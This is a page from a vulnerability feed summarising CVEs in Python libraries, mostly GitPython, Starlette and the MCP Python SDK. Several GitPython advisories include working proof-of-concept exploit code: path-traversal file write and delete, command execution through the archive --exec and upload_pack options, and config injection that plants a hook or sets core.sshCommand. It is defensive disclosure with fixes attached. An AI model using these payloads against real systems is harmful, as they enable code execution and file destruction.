Threats tagged 'homebrew'
1,196 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 6.9 | EPSS 0.5% | Medium6.9EPSS 0.5%GCVE Database Nu Html Checker (vnu) versions prior to 26.8.6 contain a Server-Side Request Forgery (SSRF) vulnerability. This flaw allows remote attackers to bypass hostname-based restrictions and make the server perform arbitrary HTTP/HTTPS requests to internal resources, including localhost. The vulnerability is due to the ability to bypass protections using DNS rebinding or domains resolving to loopback addresses. A patch is available to fix this issue. | GCVE Database | ||
| High | – | HighGCVE Database Vdirsyncer versions from 0.19.0 up to but not including 0.19.2_4 are affected by a vulnerability in a dependency, aiohttp, which uses llhttp 8.1.1. This version of llhttp is vulnerable to two request smuggling vulnerabilities. The issue is resolved by upgrading to llhttp 9 or later, which is included in aiohttp 3.8.6 and newer. | GCVE Database | |||
| High | 7.5 | EPSS 0.4% | High7.5EPSS 0.4%GCVE DatabaseCVE-2026-48818 Starlette's StaticFiles component on Windows platforms has a vulnerability where resolving UNC paths triggers outbound SMB connections, leaking NTLMv2 credentials. This occurs because os.path.realpath resolves UNC paths before containment checks, causing server-side request forgery (SSRF). The vulnerability affects default configurations (follow_symlink=False) and can expose service account credentials to attackers. Non-Windows systems and configurations using follow_symlink=True are not affected. Mitigations include using dedicated web servers for static files or blocking outbound SMB traffic. | GCVE Database | ||
| High | 7.1 | EPSS 0.5% | CVE-2026-52869MCP Python SDK · HTTP transports serve session requests without verifying the authenticated principal High7.1EPSS 0.5%GCVE DatabaseCVE-2026-52869 A vulnerability in the MCP Python SDK HTTP transports (SSE and Streamable HTTP in stateful mode) allows session hijacking by bypassing authentication checks. Incoming requests are routed to existing sessions based solely on session IDs without verifying the authenticated principal. This enables an attacker who knows or guesses a session ID to send JSON-RPC messages on that session regardless of the bearer token used. The issue affects versions from 0.4.3 up to but not including 0.5.17. A fix is available in version 1.27.2 or later. | GCVE Database | ||
| High | 7.6 | EPSS 0.4% | CVE-2026-52870MCP Python SDK · Experimental task handlers allow any client to access and cancel other clients' tasks High7.6EPSS 0.4%GCVE DatabaseCVE-2026-52870 The MCP Python SDK's experimental task handlers feature, when enabled, does not verify session ownership of tasks. This allows any connected client to list, read results from, and cancel tasks created by other clients on the same server. The vulnerability affects servers that enable the experimental tasks feature and use default handlers without session validation. It is fixed in version 1.27.2 and later, which embed session markers in task IDs and restrict task access to the owning session. | GCVE Database | ||
| High | 7.5 | EPSS 0.5% | CVE-2026-54283Starlette · request.form() limits silently ignored for application/x-www-form-urlencoded enable DoS High7.5EPSS 0.5%GCVE DatabaseCVE-2026-54283 Starlette's request.form() method does not enforce configured limits on max_fields and max_part_size for application/x-www-form-urlencoded content types, allowing unauthenticated attackers to send requests with very large numbers of fields or very large field sizes. This leads to denial of service by blocking the event loop or causing excessive memory allocation. The vulnerability affects versions from 0.4.3 up to but not including 0.5.10_1. A patch is available that enforces these limits for url-encoded bodies. | GCVE Database | ||
| Medium | 5.3 | EPSS 0.2% | Medium5.3EPSS 0.2%GCVE DatabaseCVE-2026-58203 CVE-2026-58203 affects pydantic-settings versions >=0.4.3 and <0.5.11_1, where NestedSecretsSettingsSource with secrets_nested_subdir=True follows symbolic links outside the configured secrets_dir. This allows local files outside the intended directory to be read into settings, bypassing the secrets_dir_max_size limit. The vulnerability requires the ability to place symlinks inside the secrets directory and is not remotely exploitable by itself. The issue is fixed in pydantic-settings 2.14.2 by restricting directory traversal and consistent size accounting. | GCVE Database | ||
| High | 7.6 | EPSS 0.2% | High7.6EPSS 0.2%GCVE DatabaseCVE-2026-59950 The MCP Python SDK's deprecated WebSocket server transport does not validate Host or Origin headers during the WebSocket handshake, allowing any web page to connect and issue JSON-RPC requests if the server is exposed without additional protections. This affects applications that explicitly use the deprecated websocket_server transport, which is not part of the MCP specification and must be manually integrated. The vulnerability can lead to unauthorized enumeration and invocation of server tools and resource access depending on the server's exposure. The issue is fixed in version 1.28.1 by adding optional Host and Origin validation, but upgrading alone does not enable validation unless configured. The recommended mitigation is to migrate away from the deprecated transport to Streamable HTTP, which enforces these protections automatically. The WebSocket transport is removed entirely in version 2. | GCVE Database | ||
| Critical | 9.3 | EPSS 0.6% | CVE-2026-67324Snowflake cli · GitPython unsafe clone option gate bypass through joined short options Critical9.3EPSS 0.6%GCVE DatabaseCVE-2026-67324 `GitPython` version `3.1.50` blocks unsafe `git clone` options such as `--upload-pack`, `-u`, `--config`, and `-c` unless callers explicitly pass `allow_unsafe_options=True`. However, the default unsafe-option gate does not recognize joined short-option forms such as `-u/path/to/helper`. Git itself accepts `-u<upload-pack>` as the short form of `--upload-pack=<upload-pack>`. As a result, `Repo.clone_from(..., multi_options=["-u<helper>"], allow_unsafe_options=False)` can execute the helper command even though the equivalent long option is blocked. Affected package: - Ecosystem: PyPI - Package: `GitPython` - Confirmed affected version: `3.1.50` - Repository: `gitpython-developers/GitPython` - Current PyPI version during triage: `3.1.50` Relevant behavior: - `Repo.unsafe_git_clone_options` correctly lists `--upload-pack`, `-u`, `--config`, and `-c` as unsafe clone options. - `Repo._clone()` splits `multi_options` with `shlex.split(" ".join(multi_options))` and then calls `Git.check_unsafe_options(...)`. - `_canonicalize_option_name("-u/path/to/helper")` returns a string beginning with `u...`, not the canonical short option `u`, so it does not match the blocked `-u` entry. - Git accepts the same joined short option as `--upload-pack=<helper>` and executes the helper during clone. Preconditions: An application must pass attacker-influenced clone options into `Repo.clone_from(..., multi_options=...)` while relying on GitPython's default unsafe-option gate to block command-executing options. The local PoC uses only a local bare Git repository and a local helper script. It does not contact any third-party service. Local reproduction: The PoC creates a disposable bare Git repository, a helper script, and a sentinel file path. It first confirms that the long `--upload-pack=<helper>` form is blocked by GitPython. It then calls `Repo.clone_from(..., multi_options=["-u<helper>"], allow_unsafe_options=False)`. Observed sanitized output: ```text gitpython_version=3.1.50 git_version=git version 2.53.0.windows.1 tmp_dir=<tmp> long_upload_pack_gate=BLOCKED:UnsafeOptionError joined_short_upload_pack_gate=ALLOWED clone_result=EXPECTED_EXCEPTION:GitCommandError sentinel_exists=True sentinel_text=GITPYTHON_UNSAFE_OPTION_BYPASS ``` The clone fails because the helper exits nonzero, but the sentinel file proves that Git executed the helper despite `allow_unsafe_options=False`. Impact: An attacker who controls `multi_options` can bypass GitPython's default `allow_unsafe_options=False` protection and execute a local command via Git's `--upload-pack` / `-u` clone option. This is a residual bypass of an explicit GitPython security boundary, not merely a case where a caller opted into unsafe behavior. Duplicate / related advisory checks: - OSV query for `PyPI/GitPython` version `3.1.50` returned no vulnerabilities. - The repository's public advisories include related unsafe Git option issues, including `GHSA-x2qx-6953-8485` / `CVE-2026-42284` and `GHSA-rpm5-65cw-6hj4` / `CVE-2026-42215`. Their public affected ranges are marked as fixed before 3.1.50. - `GHSA-x2qx-6953-8485` describes validating `multi_options` before `shlex.split(...)`. GitPython 3.1.50 now validates after splitting, but the joined short option `-u<value>` still bypasses because the validator canonicalizes it to `u<value>` rather than `u`. - `GHSA-rpm5-65cw-6hj4` describes unsafe underscored kwargs such as `upload_pack=...`. The current PoC uses `multi_options=["-u<helper>"]` against 3.1.50 and does not depend on underscored kwargs. - GitHub issue search for `upload-pack unsafe options` found historical related items, including CVE-2022-24439 and the earlier unsafe-options gate work, but no public issue describing this current joined-short-option residual bypass in 3.1.50. - GitHub issue search for `multi_options unsafe` found PR #2130, which fixed splitting of `multi_options` before checking. The current issue remains after that split because `-u<value>` is treated as option name `u<value>`, not blocked short option `u`. - GitHub issue searches for `u<upload-pack> unsafe` and `-cfoo` returned no results. Suggested remediation: When checking unsafe Git options, parse joined short options that take values. For clone, `-uVALUE` and `-cKEY=VALUE` should be canonicalized to `u` and `c` respectively before comparing against the unsafe option set. A safer approach is to maintain command-specific metadata for unsafe short options and recognize the bare option, split form, joined form, and long `--option=<value>` / `--option <value>` forms. | GCVE Database | ||
| High | 7.8 | EPSS 0.4% | CVE-2026-44243Snowflake cli: GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete High7.8EPSS 0.4%GCVE DatabaseCVE-2026-44243 ## 🧾 Summary A vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**. --- ## 📦 Affected Versions * Affected: `<= 3.1.46` and current `main` (`3.1.47` in local checkout) --- ## 🧠 Details ### Vulnerability Type **Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion** --- ### Root Cause Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations. `SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries. --- ### Affected Code ```python def set_reference(self, ref, logmsg=None): ... fpath = self.abspath assure_directory_exists(fpath, is_file=True) lfd = LockedFD(fpath) fd = lfd.open(write=True, stream=True) ... ``` ```python @classmethod def delete(cls, repo, path): full_ref_path = cls.to_full_path(path) abs_path = os.path.join(repo.common_dir, full_ref_path) if os.path.exists(abs_path): os.remove(abs_path) ``` ```python def rename(self, new_path, force=False): new_path = self.to_full_path(new_path) new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path) cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path) ... os.rename(cur_abs_path, new_abs_path) ``` --- ### Attack Vector **Local attack through application-controlled input passed into GitPython reference APIs** ### Authentication Required **None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.** --- ## 🧪 Proof of Concept ### Setup ```bash pip install GitPython==3.1.46 python poc.py ``` --- ### Exploit ```python import shutil from pathlib import Path from git import Repo from git.refs.reference import Reference from git.refs.symbolic import SymbolicReference base = Path("gp-ghsa-poc").resolve() if base.exists(): shutil.rmtree(base) repo_dir = base / "repo" repo = Repo.init(repo_dir) (repo_dir / "a.txt").write_text("init\n", encoding="utf-8") repo.index.add(["a.txt"]) repo.index.commit("init") outside_write = base / "outside_write.txt" outside_delete = base / "outside_delete.txt" outside_delete.write_text("DELETE ME\n", encoding="utf-8") print(f"repo_dir = {repo_dir}") print(f"outside_write = {outside_write}") print(f"outside_delete = {outside_delete}") Reference.create(repo, "../../../outside_write.txt", "HEAD") print("\n[+] outside_write exists:", outside_write.exists()) if outside_write.exists(): print("[+] outside_write content:") print(outside_write.read_text(encoding="utf-8")) SymbolicReference.delete(repo, "../../../outside_delete.txt") print("\n[+] outside_delete exists after delete:", outside_delete.exists()) ``` --- ### Result ```text repo_dir = ...\gp-ghsa-poc\repo outside_write = ...\gp-ghsa-poc\outside_write.txt outside_delete = ...\gp-ghsa-poc\outside_delete.txt [+] outside_write exists: True [+] outside_write content: <current HEAD commit SHA> [+] outside_delete exists after delete: False ``` --- ## 💥 Impact ### What can an attacker do? * Create or overwrite files outside the repository metadata directory * Delete attacker-chosen files reachable from the process permissions * Corrupt application state or configuration files * Cause denial of service by deleting or overwriting important files --- ### Security Impact * **Confidentiality:** Low * **Integrity:** High * **Availability:** High --- ### Who is affected? * Applications that expose GitPython reference operations to user-controlled input * Git automation services, repository management backends, CI/CD helpers, and developer platforms * Multi-user environments where one user can influence ref names processed on behalf of another workflow --- ## 🛠️ Mitigation / Fix ### Recommended Fix ```python def _validate_ref_write_path(repo, path, *, for_git_dir=False): SymbolicReference._check_ref_name_valid(path) base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve() target = (base / path).resolve() if base not in [target, *target.parents]: raise ValueError(f"Reference path escapes repository boundary: {path}") return str(target) ``` ```python full_ref_path = cls.to_full_path(path) _validate_ref_write_path(repo, full_ref_path) ``` | GCVE Database | ||
| High | 8.6 | EPSS 1.3% | High8.6EPSS 1.3%GCVE DatabaseCVE-2026-67323 ## Summary GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clone_from, everything else who build a git argv from caller values just go through, no check, three examples ## Code analysis Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and they land before it, so {"remote": ".", "exec": "<cmd>"} give git archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and --exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result, it's exactly the kwarg gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic repo.git.<anything>(**user_dict) surface him he never got the fix Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become git rev-list --output=... --, and git he open and truncate that file before he even validate the revision, the file is gone even if the command error right after ## PoC Released 3.1.50, git 2.51.0, stock config (`git config --get protocol.ext.allow` returns nothing here). ``` pip install GitPython # 3.1.50 ``` Common setup for the three: ```python import io, os, tempfile, subprocess, git d = tempfile.mkdtemp() subprocess.run(['git','init','-q',d], check=True) subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a', 'commit','-q','--allow-empty','-m','init'], check=True) repo = git.Repo(d) tmp = tempfile.gettempdir() ``` 1. exec via archive (a service exports a repo and forwards the user's options dict): ```python m = os.path.join(tmp, 'gp_archive_check') try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m}) except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] marker present:', os.path.exists(m)) ``` ``` [*] Cmd('git') failed due to: exit code(128) [+] marker present: True ``` 2. exec via ls_remote: ```python m = os.path.join(tmp, 'gp_lsremote_check') try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';') except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] marker present:', os.path.exists(m)) ``` ``` [*] Cmd('git') failed due to: exit code(128) [+] marker present: True ``` 3. file clobber via a rev that looks like a ref: ```python v = os.path.join(tmp, 'release_notes.txt') open(v,'w').write('do not delete\n') print('[*] before:', repr(open(v).read())) try: list(repo.iter_commits('--output=' + v)) except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] after :', repr(open(v).read()), '<- truncated') ``` ``` [*] before: 'do not delete\n' [*] Cmd('git') failed due to: exit code(129) [+] after : '' <- truncated ``` | GCVE Database | ||
| High | 7.3 | EPSS 0.3% | CVE-2026-67326snowflake-cli · GitPython: Newline injection High7.3EPSS 0.3%GCVE DatabaseCVE-2026-67326 Kimi CLI's GitPython integration contains a vulnerability (CVE-2026-67326) where newline injection in the config_writer() section parameter bypasses prior patch CVE-2026-42215. This allows an attacker controlling the section argument to inject newlines into .git/config, creating forged sections such as [core] with a malicious hooksPath. This leads to remote code execution (RCE) when git hooks are triggered. The vulnerability affects multiple version ranges of kimi-cli. A patch is available. | GCVE Database | ||
| High | 7.3 | EPSS 0.3% | CVE-2026-69097GitPython · git-config section-name injection enables arbitrary config directives (core.sshCommand RCE) High7.3EPSS 0.3%GCVE DatabaseCVE-2026-69097 ### Summary In GitPython `<= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ "` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**. This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\n\x00]` guard added for them does not stop a **same-line** section break inside a name. ### Details The only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL: `git/config.py:75,897-899` (`GitPython 3.1.52`): ```python UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]") ... def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None: if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name): raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label) ``` The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`: `git/config.py:693`: ```python fp.write(("[%s]\n" % name).encode(defenc)) ``` For submodules the name is wrapped as `submodule "<name>"` (`git/objects/submodule/util.py:39`, `return f'submodule "{name}"'`), which supplies the balancing quote. A submodule named: ``` x"] [core] sshCommand=CMD # ``` therefore serializes to the header `[submodule "x"] [core] sshCommand=CMD #"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires. The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`: - `Repo.create_submodule(name=<untrusted>, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), "url", url)` — a single call, no hostile remote required. - `Repo.clone_from(<hostile url>)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), "url", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`. Asymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value("core", "editor", "x\n\tsshCommand=CMD")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard. ### PoC Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed. ```python #!/usr/bin/env python3 """Minimal PoC: git-config section-name injection in GitPython==3.1.52.""" from importlib.metadata import version import os, tempfile, subprocess import git print(f"# GitPython {version('GitPython')}") # version proof -- first line MARKER = "MARKER_9f3a" # inert; never executed tmp = tempfile.mkdtemp() env = {**os.environ, "HOME": tmp, "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c", "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"} def run(*a, cwd=None): return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True) # A benign local repo used as the submodule url (a plain path, no network). src = os.path.join(tmp, "src"); os.makedirs(src) run("git", "init", "-q", src) open(os.path.join(src, "f"), "w").write("x") run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src) suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl) def parent_repo(): p = tempfile.mkdtemp(dir=tmp) run("git", "init", "-q", p) open(os.path.join(p, "r"), "w").write("x") run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p) return p def injected_sshcommand(parent): r = run("git", "config", "-f", os.path.join(parent, ".git", "config"), "--get", "core.sshCommand") return (r.returncode, r.stdout.strip()) benign = "docs" evil = f'x"] [core] sshCommand={MARKER} #' # closes the header, opens [core] p_control = parent_repo() git.Repo(p_co | GCVE Database | ||
| High | 8.1 | EPSS 0.6% | CVE-2026-42284GitPython · Unsafe option check validates multi_options before shlex.split transformation High8.1EPSS 0.6%GCVE DatabaseCVE-2026-42284 A vulnerability in Kimi CLI's GitPython integration (CVE-2026-42284) allows unsafe command-line options to bypass validation due to improper checking before shell splitting. Specifically, multi_options passed to clone operations are validated as original strings but executed after splitting, enabling injection of malicious git config options that execute attacker-controlled hooks during cloning or submodule updates. | GCVE Database | ||
| High | 7.8 | EPSS 0.2% | CVE-2026-44244GitPython · Newline injection in config_writer().set_value() enables RCE via core.hooksPath High7.8EPSS 0.2%GCVE DatabaseCVE-2026-44244 `GitConfigParser.set_value()` passes values to Python's `configparser` without validating for newlines. GitPython's own `_write()` converts embedded newlines into indented continuation lines (e.g. `\n` becomes `\n\t`), but Git still accepts an indented `[core]` stanza as a section header — so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration. This was found while auditing MLRun's `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in `.git/config`. PoC (standalone, no MLRun required): ```python import git, subprocess, os repo = git.Repo("/tmp/testrepo") with repo.config_writer() as cw: cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks") r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True) assert r.returncode == 0 print(r.stdout.strip()) # /tmp/hooks os.makedirs("/tmp/hooks", exist_ok=True) open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n") os.chmod("/tmp/hooks/pre-commit", 0o755) repo.index.add(["README"]) repo.git.commit(m="test") print(open("/tmp/pwned").read()) # uid=... ``` Tested on GitPython 3.1.46, git 2.39+. Impact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically. Remediation: `set_value()` should raise on CR, LF, or NUL in values rather than silently pass them through: ```python import re if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)): raise ValueError("Git config values must not contain CR, LF, or NUL") ``` Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that. Affected wherever `config_writer().set_value(section, key, user_input)` is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their `set_value()` call sites for externally influenced inputs. | GCVE Database | ||
| High | 8.7 | EPSS 0.3% | CVE-2026-67322GitPython · Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL High8.7EPSS 0.3%GCVE DatabaseCVE-2026-67322 GitPython versions up to 3.1.50 contain a vulnerability where the Repo.clone_from() method passes the remote URL through os.path.expandvars(), causing environment variables in the URL to be expanded. This can lead to secret environment variables being embedded in the URL and exfiltrated to an attacker-controlled host. The flaw arises because polish_url() applies environment variable expansion indiscriminately to remote URLs without validation or opt-out. A fix is available in version 9.23.1_1. | GCVE Database |
Page 25 of 84 · 4 duplicate CVE records merged